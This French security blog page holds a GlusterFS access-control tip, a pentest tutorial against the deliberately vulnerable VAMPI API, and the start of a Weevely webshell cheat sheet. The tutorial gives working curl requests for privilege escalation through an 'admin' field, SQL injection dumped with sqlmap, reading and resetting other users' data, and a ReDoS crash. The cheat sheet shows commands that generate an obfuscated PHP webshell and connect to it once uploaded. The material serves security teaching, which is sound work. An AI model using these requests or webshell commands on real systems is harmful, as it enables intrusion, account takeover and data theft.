Par dĂ©faut, la seule sĂ©curisation en vigueur pour remĂ©dier Ă  ce dĂ©faut de sĂ©curitĂ© est la restriction par IP. Ce n’est pas forcĂ©ment la solution la plus sĂ©curisĂ©e, je vous l’accorde, mais cela compliquera la tĂąche d’un attaquant (dans le cas oĂč celui-ci souhaite usurper l’adresse IP d’un des serveurs membres du cluster de stockage GlusterFS).

gluster volume set volume1 auth.allow 192.168.130.143,192.168.130.144

Vous n’avez pas besoin de redĂ©marrer le service glusterfs suite Ă  cette modification.

++

GSB

L’article Avez-vous activĂ© un contrĂŽle d’accĂšs pour vos clusters de stockage GlusterFS ? est apparu en premier sur Le Guide Du SecOps ‱ LGDS.

  •  

Tester la sĂ©curitĂ© d’une API : Un Guide Pratique

Rappel : L’article qui va suivre contient des techniques et mĂ©thodes qui peuvent s’avĂ©rer ĂȘtre illĂ©gales et dangereuses si elles sont utilisĂ©es Ă  mauvais escient. Ce tutoriel ne doit en aucun cas ĂȘtre utilisĂ© contre un particulier, une entreprise, une organisation Ă  but non lucratif ou une administration publique de quelconque pays. Je me dĂ©douane de toute responsabilitĂ© en cas de problĂšmes ou d’incidents de quelque nature que ce soit aprĂšs le visionnage de cet article.

Bonjour Ă  tous, aprĂšs une longue pĂ©riode sans publication sur le blog, je suis ravi de vous prĂ©senter un nouvel article portant sur le thĂšme de la « SĂ©curitĂ© des API Â». Dans cet article, nous explorerons les mĂ©thodes de test pour Ă©valuer la sĂ©curitĂ© des API REST. Nous utiliserons une API vulnĂ©rable appelĂ©e « VAMPI Â», conçue pour gĂ©rer l’attribution de livres Ă  des utilisateurs.

Un grand merci à @erev0s ainsi qu’aux autres contributeurs de ce projet open-source.

I. Introduction et Rappels

A. Qu’est-ce qu’une API ?

Une API, ou Interface de Programmation d’Application (en anglais, Application Programming Interface), est un ensemble de rĂšgles et de protocoles qui permet Ă  des logiciels / sites web diffĂ©rents de communiquer entre eux. Elle dĂ©finit les mĂ©thodes et les formats de donnĂ©es que les dĂ©veloppeurs peuvent utiliser pour intĂ©grer leurs applications avec d’autres logiciels.

Une API peut ĂȘtre utilisĂ©e pour diffĂ©rentes raisons, notamment pour permettre Ă  une application d’accĂ©der aux fonctionnalitĂ©s d’un service externe, d’interagir avec une base de donnĂ©es sans la requĂȘter directement, ou mĂȘme de partager des fonctionnalitĂ©s avec d’autres applications.

Voici sans nul doute mon meme prĂ©fĂ©rĂ©. c’est en grande partie grace Ă  lui que j’ai compris comment fonctionnait une API de bout en bout.

Une image vaut mille mots

confucius

Voici quelques concepts clĂ©s liĂ©s aux API qui vont ĂȘtre utilisĂ© dans cet article :

  1. Point d’EntrĂ©e / endpoint : Une API fournit des points d’entrĂ©es spĂ©cifiĂ©s (URI Uniform Resource Identifier),par lequel les dĂ©veloppeurs peuvent accĂ©der aux fonctionnalitĂ©s offertes par l’API.
    • Ex : https://api.domain.com/user/john.doe retournerait uniquement les caractĂ©ristiques liĂ©s Ă  cet utilisateur (age, date d’inscription, etc.) si et seulement si l’utilisateur s’est authentifiĂ©.
  2. MĂ©thodes : Les API utilisent des mĂ©thodes HTTP, telles que GET, POST, PUT, DELETE, qui correspondent aux opĂ©rations que les dĂ©veloppeurs peuvent effectuer sur les ressources fournies par l’API. Celles-ci font rĂ©fĂ©rences au principe du « CRUD Â». Voir section suivante
  3. Formats de Données : Les données échangées entre les applications via une API sont généralement structurées dans des formats standard tels que JSON (JavaScript Object Notation) ou anciennement XML (eXtensible Markup Language).
  4. Authentification et Autorisation : Les API peuvent nĂ©cessiter des mĂ©canismes d’authentification pour s’assurer que seules les applications autorisĂ©es peuvent accĂ©der aux fonctionnalitĂ©s fournies. De plus, elles peuvent implĂ©menter des mĂ©canismes d’autorisation post-auth pour contrĂŽler l’accĂšs aux diffĂ©rentes ressources.

En rĂ©sumĂ©, les API sont essentiellement un moyen standardisĂ© pour que diffĂ©rentes applications modernes communiquent entre elles. Elles facilite ainsi l’intĂ©gration et l’interopĂ©rabilitĂ© entre les artecfats digitales.

B. CRUD (Create Read Update Delete)

Le terme CRUD est un acronyme couramment pour dĂ©crire les opĂ©rations fondamentales effectuĂ©es sur les donnĂ©es dans un systĂšme de gestion de base de donnĂ©es (SGBD) ou une application web. CRUD reprĂ©sente les quatre opĂ©rations de base que l’on peut effectuer sur les donnĂ©es :

  1. Create : Cette opĂ©ration consiste Ă  ajouter de nouvelles donnĂ©es Ă  un systĂšme. Par exemple, dans une application web, cela pourrait signifier la crĂ©ation d’un nouveau compte utilisateur ou l’ajout d’un nouveau produit Ă  une boutique en ligne, etc.
  2. Read : La lecture consiste Ă  rĂ©cupĂ©rer et afficher des donnĂ©es existantes Ă  partir du systĂšme. Il s’agit de la consultation des informations stockĂ©es dans la base de donnĂ©es, que ce soit pour afficher un profil d’utilisateur ou consulter les dĂ©tails d’un produit, etc.
  3. Update : Cette opĂ©ration implique la modification des donnĂ©es existantes. Par exemple, vous pourriez mettre Ă  jour les informations de votre profil utilisateur ou mettre Ă  jour le prix d’un produit.
  4. Delete : La suppression consiste Ă  retirer des donnĂ©es du systĂšme. Cela pourrait signifier la suppression d’un compte utilisateur, ou la suppression d’un produit de la base de donnĂ©es.

Ces opĂ©rations sont essentielles dans le dĂ©veloppement d’applications et dans la gestion de bases de donnĂ©es, car elles permettent de gĂ©rer les donnĂ©es de maniĂšre cohĂ©rente et efficiente. Ce qui en fait un des piliers conceptuelles du dĂ©veloppement logiciel et conception de bases de donnĂ©es.

Source : https://www.geeksforgeeks.org/crud-operations-and-file-upload-using-node-js-and-mongodb/

C. REST vs RESful ?

REST est un ensemble de principes architecturaux, RESTful est une mise en Ɠuvre concrĂšte de ces principes avec une adhĂ©rence stricte aux conventions, rendant l’API plus prĂ©visible, facile Ă  comprendre et Ă  utiliser.

Voici un schema permettant de se reprĂ©senter conceptuellement le fonctionnement d’une API REST : (source : https://www.linkedin.com)

II. Avec quel outils peux-ton tester la sĂ©curitĂ© d’une API ?

Il existe plĂ©thore d’outils ! Dans mon cas, j’utilise uniquements les trois suivants en gĂ©nĂ©rale :

  • Burp Suite (Pro) : Le plus utilisĂ©
  • Postman : Je suis particuliĂšrement Fan de l’interface graphique
  • La commande curl (uniquement pour tester Ă  la voler des endpoints bien prĂ©cis)

Tout au long de cet article, je vais utiliser Postman ainsi que la commande curl pour crĂ©er des requĂȘtes un peu plus complexes. Cela vous permettra d’économiser du temps lors de vos tests et d’éviter de remplir manuellement chaque champ. Cependant, il est important de noter que cela ne remplace pas la nĂ©cessitĂ© d’exĂ©cuter Ă©galement les requĂȘtes via Burp ou Postman.

III. Setup de l’API vulnĂ©rable VAMPI avec 
 Docker ^^

Pour ne pas se compliquer la vie, on va utiliser l’image toute prĂȘte qui a Ă©tĂ© publiĂ© sur le dockerhub par @erev0s. Toutefois, sachez que vous pouvez directement construire l’image depuis le Dockerfile officiel du projet.

docker run -d --rm -e vulnerable=1 -e tokentimetolive=300 -p 5000:5000 erev0s/vampi:latest

Caractéristiques du projet VAMPI fin 2023 :

  • BasĂ© sur les 10 principales vulnĂ©rabilitĂ©s de l’OWASP pour les API (2023)
  • Utilise OpenAPI3
  • Activation/dĂ©sactivation globale pour avoir un environnement vulnĂ©rable ou non. (vulnerable={0,1})
  • Authentification par jeton (tokentimetolive=300) Il est possible d’augmenter cette valeur Ă©videment.

IV. DĂ©ouverte des points de terminaisons

MĂȘme si le projet VAMPI nous fournit les endpoints vulnĂ©rables, il va de soi qu’en « boĂźte noire Â», nous ne disposons pas de ces informations. C’est prĂ©cisĂ©ment lĂ  que rĂ©side la complexitĂ© d’un test Ă  l’aveugle d’une API. Dans le cadre de cet article, je vais simuler une approche « black box Â».

Afin de rendre les tests d’une API aussi exhaustifs que possible, il est recommandĂ© de les effectuer en boĂźte blanche, ce qui signifie avoir accĂšs aux diffĂ©rents comptes et Ă  la documentation. Cela permet Ă  l’auditeur d’ĂȘtre beaucoup plus efficace et exhaustif dans ses tests.

Mais alors, comment procéder ?

Le moyen le plus basique pour dĂ©tecter rapidement des points de terminaison communs consiste Ă  utiliser un scanner de rĂ©pertoire tel que dirsearch ou dirb. De plus, il est fortement recommandĂ© d’utiliser une wordlist personnalisĂ©e contenant des noms couramment utilisĂ©s lors de la conception d’API. Voici une petite liste, bien sĂ»r non exhaustive :

v1
v2
v3
users
articles
api
ui
swagger
(...)
python3 dirsearch.py -u http://localhost:5000 -w /tmp/common-api-endpoints-wordlist.txt -r

La capture ci-aprĂšs nous montre qu’une seule redirection a Ă©tĂ© dĂ©tectĂ©e suite Ă  l’exĂ©cution de dirsearch. Allons voir ce qui se cache derriĂšre ce lien


Si vous menez un vĂ©ritable test d’intrusion, n’oubliez pas de rĂ©duire le nombre de threads, ainsi que le dĂ©lai entre chaque requĂȘte, afin de ne pas vous faire bannir de maniĂšre inopportune :). Par ailleurs, je vous conseille de vous intĂ©resser de prĂšs aux nombreuses options de la commande dirsearch.

python3 dirsearch.py -u http://example.com:5000 -t 2 --delay=0.20 -w /tmp/common-api-endpoints-wordlist.txt

On constate qu’une redirection (HTTP Code 308) a Ă©tĂ© dĂ©tectĂ©e pour le rĂ©pertoire « /ui Â». En consultant ce lien, on peut constater que nous arrivons sur une interface Swagger.

Mais qu’est-ce que Swagger ? Swagger est un ensemble d’outils open source permettant de concevoir, documenter et tester des API REST. Il utilise une spĂ©cification appelĂ©e OpenAPI pour dĂ©crire la structure des API, y compris les points de terminaison, les paramĂštres et les rĂ©ponses attendues. Cependant, exposer Swagger sans authentification prĂ©alable pose de graves problĂšmes de sĂ©curitĂ©, car cela peut fournir aux attaquants des informations dĂ©taillĂ©es sur la structure interne de l’API, facilitant ainsi les attaques potentielles.

Oui, mĂȘme dans un cas rĂ©el, il est possible de trouver ce genre de plateforme exposĂ©e publiquement. Croyez-moi, je sais de quoi je parle ^^

Ici, Swagger nous affiche tous les endpoints de l’API auxquels on peut accĂ©der par dĂ©faut, ainsi que les dĂ©tails associĂ©s Ă  chacun. Nous venons donc implicitement de passer d’un audit en boĂźte noire Ă  un audit en boĂźte blanche ! ^^

V. Tests SANS authentification au préalable (pre-auth testing)

A. Lister les utilisateurs du site

Cette premiĂšre faille de sĂ©curitĂ© n’est pas sans consĂ©quence. En effet, elle permet Ă  un attaquant de lister l’intĂ©gralitĂ© des utilisateurs du site. Cela signifie qu’un attaquant pourrait facilement Ă©tablir une liste des utilisateurs du site, ce qui pourrait ĂȘtre utilisĂ© ultĂ©rieurement pour d’autres vecteurs d’attaque en exploitant ces identifiants/emails.

MĂ©thode HTTPGET
curl http://127.0.0.1:5000/users/v1 | jq 

FrĂ©quemment, les API disposent d’un paramĂštre « debug Â» permettant d’afficher plus d’informations concernant la rĂ©ponse de l’endpoint. C’est grosso-modo l’équivalent du mode « verbose : -v Â» d’une commande classique.

MĂ©thode HTTPGET
curl http://localhost:5000/users/v1/_debug

Certaines fonctionnalitĂ©s, telles que la possibilitĂ© de lister les utilisateurs ou le mode dĂ©bogage, devraient impĂ©rativement exiger une authentification d’un utilisateur ayant au minimum un profil de dĂ©veloppeur. En aucun cas un utilisateur standard authentifiĂ© ne devrait avoir la capacitĂ© de lister tous les utilisateurs d’une API !

Pour afficher les informations d’un seul utilisateur, vous pouvez utiliser cette requĂȘte :

curl http://127.0.0.1:5000/users/v1/{username}

Ok, je vous l’accorde, il est trĂšs peu probable d’obtenir le mot de passe en clair Ă  la suite de l’exĂ©cution en mode de dĂ©bogage. Cependant, la recommendation est clair : Ne pas rendre accessible publiquement ce mode avancĂ©, qui est normalement rĂ©servĂ© aux dĂ©veloppeurs.

B. Créer un utilisateur

En consultant la documentation de l’API, on constate qu’un endpoint /register existe. Testons si en tant qu’utilisateur non authentifiĂ©, nous pouvons crĂ©er un compte.

MĂ©thode HTTPPOST
curl http://127.0.0.1:5000/users/v1/register -d '{"email":"lgds@domain.com","username":"lgds","password":"lgds"}' -H 'Content-Type: application/json' | jq

On constate ici qu’aucune politique de mot de passe n’est mise en place sur l’API, car il m’a Ă©tĂ© possible de crĂ©er un utilisateur avec comme mot de passe « lgds Â»â€Š

C. Élevation de privilĂšge – DĂ©faut de cloisonnement verticale

Élevation de privilĂšges ou Escalade de privilĂšges ? le dĂ©bat est lancĂ© ^^

Le cloisonnement vertical implique la possibilitĂ© d’accĂ©der Ă  des fonctionnalitĂ©s qui se trouvent en dehors de la portĂ©e initiale de l’utilisateur. Cela peut inclure la recherche de moyens pour obtenir des droits d’administration ou similaires, dans le but de passer d’un statut utilisateur Ă  un statut administrateur.

Pour plus d’informations : https://openclassrooms.com/fr/courses/7727176-realisez-un-test-dintrusion-web/7917741-verifiez-la-fiabilite-du-controle-d-acces#/id/r-7919936
MĂ©thode HTTPPOST

Lorsque nous avons examinĂ© le point de terminaison « /users/v1/_debug Â» plus tĂŽt, vous n’avez peut-ĂȘtre pas remarquĂ©, mais un attribut supplĂ©mentaire nous a Ă©tĂ© retournĂ© en plus de « email Â», « username Â», et « password Â». Cet attribut est « admin Â» (return : true or false : comportement par dĂ©faut). Cela dĂ©montre clairement l’existence d’une propriĂ©tĂ© appelĂ©e « admin Â» qui est dĂ©finie sur « true Â» pour les utilisateurs administrateurs. Essayons d’enregistrer un nouvel utilisateur avec cet attribut dans la requĂȘte.

Encore une fois, oui, mĂȘme dans un cas rĂ©el, il est possible de trouver ce genre de plateforme exposĂ©e publiquement. Croyez-moi, j’en ai dĂ©jĂ  vu moi-mĂȘme ^^

MĂ©thode HTTPPOST

Vous pouvez donc ajouter l’attribut « admin Â» et lui donner la valeur « true Â» pour vous auto-promouvoir en tant qu’administrateur de l’API dĂšs votre inscription.

curl http://127.0.0.1:5000/users/v1/register -d '{"admin": true, "username": "adm_lgds", "password": "adm_lgds", "email":  "adm_lgds@domain.com"}' -H 'Content-Type: application/json' | jq
{
 "admin": true,
 "username":  "adm_lgds",
 "password":  "adm_lgds",
 "email":  "adm_lgds@domain.com"
}

Maintenant, si vous lister les utilisateurs avec « /users/v1 Â», vous constaterez l’ajout de l’utilisateur lgds adm_lgds. Pour vous assurer que celui-ci est admin, utilisez le endpoint « /users/v1/_debug Â»,

MĂ©thode HTTPGET
curl http://localhost:5000/users/v1/_debug
# _debug ici vous permettra de visualiser si le niveau d'habilitation de l'utilisateur adm_lgds est bien fixĂ© sur "admin"

D. Injection SQL – Non assainissement des entrĂ©es utilisateurs (inputs)

SQli : Technique permettant Ă  un attaquant d’insĂ©rer du code SQL malveillant dans une requĂȘte SQL, souvent via des formulaires web ou des champs de recherche vulnĂ©rables. Cela peut entraĂźner la modification, la suppression ou la divulgation non autorisĂ©e de donnĂ©es dans une base de donnĂ©es. Pour se protĂ©ger contre les injections SQL, il est essentiel de valider et de sĂ©curiser correctement les entrĂ©es utilisateur lors de la crĂ©ation de requĂȘtes SQL.

En ajoutant un simple guillemet « /users/v1/name‘ Â» nous n’avons pas obtenu une rĂ©ponse de l’API, mais une erreur.

MĂ©thode HTTPGET
curl "http://127.0.0.1:5000/users/v1/lgds'" | head -n 10

Cela indique que les donnĂ©es fournies par l’utilisateur ne sont pas correctement nettoyĂ©es avant d’ĂȘtre transmises Ă  la base de donnĂ©es, ce qui signifie qu’elles exĂ©cuteront tout ce que l’utilisateur y insĂšre y compris des jeux de caratĂšres malicieux. Dans ce cas prĂ©cis, l’erreur renvoyĂ©e nous indique que le SystĂšme de Gestion de Base de DonnĂ©es (SGBD) en question est SQLite.

Pour exploiter rapidement cette injection SQL, vous pouvez utiliser SQLMap de la maniĂšre suivante :

sqlmap -u "http://127.0.0.1:5000/users/v1/lgds" --dump all --batch --flush-session
  • -u "http://127.0.0.1:5000/users/v1/lgds" : C’est l’URL cible Ă  analyser. Dans cet exemple, SQLMap va cibler l’URL « http://127.0.0.1:5000/users/v1/lgds Â» pour rechercher des vulnĂ©rabilitĂ©s SQL.
  • --dump all: Ce paramĂštre indique Ă  SQLMap de tenter de rĂ©cupĂ©rer des donnĂ©es de la base de donnĂ©es une fois qu’il a identifiĂ© une vulnĂ©rabilitĂ© SQL. L’option « all Â» signifie qu’il tentera de rĂ©cupĂ©rer toutes les donnĂ©es disponibles.
  • --batch: En utilisant cette option, SQLMap fonctionnera en mode batch, ce qui signifie qu’il n’interagira pas avec l’utilisateur pour prendre des dĂ©cisions. Il utilisera les options par dĂ©faut pour l’analyse.
  • --flush-session: Cette option indique Ă  SQLMap de supprimer toutes les donnĂ©es de session de la commande sqlmap courrante. Cela peut ĂȘtre utile pour Ă©viter que des donnĂ©es d’une analyse prĂ©cĂ©dente n’interfĂšrent avec la nouvelle analyse. (cache
)

Afin de prĂ©venir toute surcharge de la base de donnĂ©es et de maintenir un faire profil bas dans un scĂ©nario rĂ©el, il est essentiel d’opter pour des extractions progressives. Cela signifie qu’il est recommandĂ© d’extraire une table, voire mĂȘme des portions de tables, pour limiter le nombre de rĂ©sultats obtenus. Cette approche permet d’effectuer une preuve de concept (PoC) initiale tout en prĂ©servant la disponibilitĂ© et la stabilitĂ© de l’API et de sa base de donnĂ©es.

Voici le résultat du dump :

E. Absence de protection contre les attaques automatisés

Il existe plusieurs mĂ©thodes pour rĂ©aliser ce test. Dans mon cas, j’ai choisi d’utiliser Burp Suite Pro en sĂ©lectionnant le Mode Sniper dans le menu Intruder. Sans entrer dans les dĂ©tails, j’ai envoyĂ© avec succĂšs 50 requĂȘtes consĂ©cutives vers le point d’extrĂ©mitĂ© « /users/v1/login Â» sans ĂȘtre bloquĂ©.

MĂ©thode HTTPPOST

VI. Tests post-identification (post-authentication testing)

A. DĂ©faut de cloisonement horizontal

On appelle cloisonnement horizontal le fait de vĂ©rifier qu’un utilisateur A ne peut pas accĂ©der au pĂ©rimĂštre d’un utilisateur B. (fichiers, etc.)

source : https://openclassrooms.com/fr/courses/7727176-realisez-un-test-dintrusion-web/7917741-verifiez-la-fiabilite-du-controle-d-acces

Pour obtenir la liste complĂšte de tous les livres, il vous suffit de faire une requĂȘte vers le point de terminaison suivant : /books/v1.

MĂ©thode HTTPGET

Pour rappel, l’objectif de cette API est de rĂ©fĂ©rencer une collection de livres. Chaque livre est associĂ© de maniĂšre unique Ă  chaque utilisateur, et chaque livre a un seul et unique propriĂ©taire. Lorsqu’un utilisateur consulte ce point de terminaison, il est impĂ©ratif qu’il se soit prĂ©alablement authentifiĂ© auprĂšs de l’API, ce qui permettra Ă  celle-ci de lui donner accĂšs au ‘secret du livre’

Nous constatons qu’il existe un point d’accĂšs qui rĂ©pertorie tous les livres, accessible sans nĂ©cessitĂ© prĂ©alable d’authentification : /books/v1

curl -s http://127.0.0.1:5000/books/v1 | jq

Le fait de fournir une liste de livres avec les propriĂ©taires (utilisateurs) associĂ©s n’est pas un comportement appropriĂ©, car cela permet une Ă©numĂ©ration des utilisateurs qui possĂšdent des livres en interrogeant cet endpoint. Â»

Je vais maintenant tenter d’obtenir le secret d’un des livres intitulĂ© « bookTitle16 Â» appartenant Ă  l’utilisateur « name1 Â» en interrogeant l’endpoint /books/v1/{book_name}.

MĂ©thode HTTPGET
curl -s http://localhost:5000/books/v1/bookTitle16 | jq

Ceci suggĂšre que je n’ai pas d’authentification active sur l’API. Ainsi, je devrais m’authentifier avec le compte utilisateur « name1 Â» pour pouvoir accĂ©der au « secret du livre Â» intitulĂ© « bookTitle16 Â»

MĂ©thode HTTPPOST
curl -s http://127.0.0.1:5000/users/v1/login -d '{"username":"name1","password":"pass1"}' -H 'Content-Type: application/json' | jq

Avec le jeton d’authentification obtenu, je suis dĂ©sormais en mesure de m’authentifier en tant que « name1 Â» et d’accĂ©der au secret du livre.

MĂ©thode HTTPGET
curl -s http://127.0.0.1:5000/books/v1/bookTitle16 -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTgwNjI5ODUsImlhdCI6MTY5ODA2MjY4NSwic3ViIjoibmFtZTEifQ.t9UiTu5EA-nOZJeQIFyftYvcQQbsrm3WR1R2M1Cz2Xg' | jq

Maintenant, envisagez un scĂ©nario oĂč un autre utilisateur pourrait accĂ©der au secret d’un livre qui ne lui appartient pas. Pensons en dehors des sentiers battus ! Comme le dit Julien Metayer : Le hacking est avant tout un Ă©tat d’esprit

En thĂ©orie, cela ne devrait pas ĂȘtre possible, mais par prĂ©caution, pourquoi ne pas effectuer un test pour confirmer ? 😉

Pour ce faire, je vais me connecter en utilisant un nouvel utilisateur que j’ai fraĂźchement crĂ©Ă© : « lgds Â» (et non « lgds_admin Â» ! Nous voulons un utilisateur ayant le mĂȘme niveau d’autorisation que « name1 Â», c’est-Ă -dire un utilisateur standard).

MĂ©thode HTTPPOST
curl -s http://127.0.0.1:5000/users/v1/login -d '{"username":"lgds","password":"lgds"}' -H 'Content-Type: application/json' | jq
MĂ©thode HTTPGET

Une fois de plus, je place mon jeton d’authentification dans l’en-tĂȘte HTTP « Authorization Bearer Â» pour accĂ©der Ă  l’endpoint /books/v1/bookTitle16.

curl -s http://127.0.0.1:5000/books/v1/bookTitle16 -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTgwNjM0NzgsImlhdCI6MTY5ODA2MzE3OCwic3ViIjoibGdkcyJ9.YIDVhSOaPq9BIjF0JkSfaj147PDGsIRkwA4WrX4tOyg' | jq

Vous pourriez reformuler votre phrase de la maniĂšre suivante :

« Toudoum (comme dans Netflix) ! Oh, que dĂ©couvrons-nous ? Il est possible d’accĂ©der au secret du livre « bookTitle16 Â» (propriĂ©taire : name1) alors que je me connecte en utilisant l’utilisateur « lgds Â» avec son jeton d’authentification qui lui est propre. Le dĂ©faut de cloisonnement horizontal est indubitablement Ă©tabli !

B. Account takeover


Nous avons observĂ© la possibilitĂ© d’utiliser le token d’utilisateur 1 pour accĂ©der aux donnĂ©es de l’utilisateur 2. Par consĂ©quent, nous allons tenter cette opĂ©ration sur un point d’accĂšs diffĂ©rent de celui prĂ©cĂ©demment utilisĂ©. Envoyez une nouvelle requĂȘte authentifiĂ©e Ă  /users/v1/{username}/password et envoyez le nouveau mot de passe comme valeur JSON pour « password Â».

Nous avons constatĂ© la possibilitĂ© d’utiliser le jeton de l’utilisateur lgds pour accĂ©der aux donnĂ©es de l’utilisateur name1. Par consĂ©quent, je vais tenter cette opĂ©ration sur un point d’accĂšs diffĂ©rent de celui prĂ©cĂ©demment utilisĂ©.

Dans cette section, vous aurez encore besoin d’un jeton de connexion valide. Si le vĂŽtre a expirĂ©, reconnectez-vous en initiant une nouvelle session auprĂšs de l’API :

RĂ©initialiser le mot de passe de n’importe quel utilisateur via un compte standard

MĂ©thode HTTPPUT
curl -v -X PUT http://127.0.0.1:5000/users/v1/name1/password -d '{"password":"pwned"}' -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTgwNjQzMDEsImlhdCI6MTY5ODA2NDAwMSwic3ViIjoibGdkcyJ9.2-H_cSNInK_xWaZpDbpjJuSBbN-8IGhykSQATN-f7HM' | jq

L’API nous renvoie une rĂ©ponse 204, mais cela peut parfois ĂȘtre considĂ©rĂ© comme ‘normal’. En effet, les dĂ©veloppeurs n’avaient peut-ĂȘtre pas prĂ©vu cette possibilitĂ©, et donc l’API ne renvoie aucune rĂ©ponse, ce qui pourrait ĂȘtre avantageux pour nous.

MĂ©thode HTTPPOST
curl -s http://127.0.0.1:5000/users/v1/login -d '{"username":"name1","password":"pwned"}' -H 'Content-Type: application/json' | jq

Comme vous pouvez le voir sur la capture d’écran ci-dessus, il a Ă©tĂ© possible de modifier le mot de passe de l’utilisateur « name1 Â» en utilisant un jeton d’authentification appartenant Ă  l’utilisateur « lgds Â».

RĂ©initialiser l’email de n’importe quel utilisateur.

Il n’est pas possible d’effectuer cette action, car les dĂ©veloppeurs ont mis en place une vĂ©rification pour s’assurer que le jeton correspond rĂ©ellement Ă  son propriĂ©taire. Si vous exĂ©cutez la requĂȘte suivante, cela changera l’adresse e-mail, non pas de l’utilisateur « name1 Â», mais de l’utilisateur « lgds Â».

MĂ©thode HTTPPUT
curl -v -X PUT http://127.0.0.1:5000/users/v1/name1/email -d '{"email":"lgds@yopmail.com"}' -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3MDM4NTQsImlhdCI6MTY5ODY3Mzg1NCwic3ViIjoibGdkcyJ9.8WACw7GZPhGlB0F1tg-xk9Q3uKXH0hqDo4LQE1519AY' | jq

Comme illustrĂ© sur la capture d’écran ci-dessus, il n’a pas Ă©tĂ© possible de modifier l’adresse e-mail de l’utilisateur « name1 Â» en utilisant un jeton d’authentification appartenant Ă  l’utilisateur « lgds Â». En revanche, cette requĂȘte a provoquĂ© un effet inattendu en modifiant l’adresse e-mail de notre propre compte
 Cela Porte un nom : l’effet : « Retour de bommerang Â»

Supprimer le compte de n’importe quel utilisateur.

Étant donnĂ© la vulnĂ©rabilitĂ© de cette API, nous sommes en droit de nous demander si nous pouvons supprimer un compte en utilisant un compte utilisateur standard


MĂ©thode HTTPDELETE
curl -v -X DELETE http://127.0.0.1:5000/users/v1/name1 -d '{"password":"pwned"}' -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3MDM4NTQsImlhdCI6MTY5ODY3Mzg1NCwic3ViIjoibGdkcyJ9.8WACw7GZPhGlB0F1tg-xk9Q3uKXH0hqDo4LQE1519AY' | jq

Une reformulation possible pourrait ĂȘtre :

Comme le montre la capture d’écran ci-dessus, il est clair que cela n’est pas possible.

C. DoS via une expression réguliÚre (regex)

Je n’ai pas encore terminĂ© avec cette API ! Au-delĂ  du fait que j’ai pu dĂ©montrer dans une des premiĂšres sections qu’il Ă©tait possible d’envoyer un grand nombre de requĂȘtes sans ĂȘtre bloquĂ©, je me suis demandĂ© s’il Ă©tait possible de faire « planter l’API Â», Ă©tant donnĂ© qu’elle ne nettoie pas correctement ses entrĂ©es. Eh bien, la rĂ©ponse est oui


Un Self-DoS implique de surcharger un service quelconque s’executant sur l’hĂŽte en l’obligeant Ă  effectuer des calculs complexes ce qui augmentent la charge de travail et entraĂźnent des dĂ©passements de dĂ©lais. En fin de compte, l’application est submergĂ©e. Une fois de plus, cela est rendu possible uniquement parce que les donnĂ©es d’entrĂ©e de l’utilisateur ne sont pas correctement assainie.

Ici, il est possible de provoquer le crash de l’application en envoyant une requĂȘte authentifiĂ©e au point de terminaison « /users/v1/{username}/email Â» en fournissant une longue chaĂźne de caractĂšres qui n’est en rĂ©alitĂ© pas une adresse e-mail valide, mais un payload ayant pour but de pertuber le comportment de l’API.

Le caractĂšre « ! Â» n’est pas celui qui provoque le comportement inattendu, c’est uniquement la longueur excessive de la chaĂźne par rapport Ă  ce que le backend avait prĂ©vu qui provoque le problĂšme (plus le fait que les inputs ne sont pas sanitize)

MĂ©thode HTTPPUT

VII. Conclusion

Merci d’avoir pris le temps de lire cet article. J’espĂšre qu’il vous a aidĂ© Ă  mieux comprendre le pentesting d’une API en dĂ©tail. Si vous avez des remarques ou des questions, n’hĂ©sitez pas Ă  m’en faire part sur X :).

++

Geoffrey

L’article Tester la sĂ©curitĂ© d’une API : Un Guide Pratique est apparu en premier sur Le Guide Du SecOps ‱ LGDS.

  •  

Weevely – un Webshell interactif polyvalent (cheat sheet)

Rappel : L’article qui va suivre contient des techniques et mĂ©thodes qui peuvent s’avĂ©rer ĂȘtre illĂ©gales et dangereuses si elles sont utilisĂ©es Ă  mauvais escient. Ce tutoriel ne doit en aucun cas ĂȘtre utilisĂ© contre un particulier, une entreprise, une organisation Ă  but non lucratif ou une administration publique de quelconque pays. Je me dĂ©douane de toute responsabilitĂ© en cas de problĂšmes ou d’incidents de quelque nature que ce soit aprĂšs le visionnage de cet article.

Bonjour Ă  tous ! Aujourd’hui, aprĂšs quelques semaines sans article, je vais vous prĂ©senter l’un de mes outils prĂ©fĂ©rĂ©s en sĂ©curitĂ© offensive axĂ© sur le web. Je le considĂšre clairement comme un must-have pour toutes les personnes s’intĂ©ressant de prĂšs ou de loin Ă  la sĂ©curitĂ© offensive. DerriĂšre son petit nom « weevely Â», se cache un artefact dĂ©veloppĂ© en PHP qui vous permet d’établir un webshell interactif trĂšs facilement dĂšs lors que vous pouvez profiter d’une vulnĂ©rabilitĂ© de type file upload.

Cet article est rĂ©digĂ© sous la forme d’une « cheatsheet Â». Cela signifie que je ne prĂ©senterai pas un scĂ©nario d’exploitation, mais plutĂŽt des commandes et des astuces autour de Weevely. Nous aborderons les caractĂ©ristiques gĂ©nĂ©rales de Weevely, puis l’utilisation de certains de ses modules, et enfin, comment interagir avec ce webshell sans nĂ©cessairement utiliser ses modules.

I. Fonctionnement Général

A. Générer un payload

Pour un serveur utilisant une version < Ă  PHP 8 :

python3 weevely.py generate 123456 payload.php

123456 reprĂ©sente le mot de passe qui vous sera demandĂ© lors de l’initialisation de la connexion entre vous et votre cible afin de sĂ©curiser l’accĂšs Ă  ce point de terminaison malveillant.

Pour un serveur utilisant une version >= Ă  PHP 8, il faut gĂ©nĂ©rer sa payload avec une option d’obfuscation spĂ©cial (suite Ă  la suppression de certaines fonctions comme create_function() entre la nouvelle et les anciennes versions de PHP) :

python3 weevely.py generate -obfuscator phar 123456 payload.php

Merci Ă  @ZanyMonk

Plus d’information ici : https://github.com/epinna/weevely3/pull/168

B. Accéder à ce payload

Une fois que vous avez uploadé votre payload sur le serveur web cible, vous pouvez utiliser la commande suivante pour instancier le webshell.

weevely http://192.168.130.130/weevely.php 123456

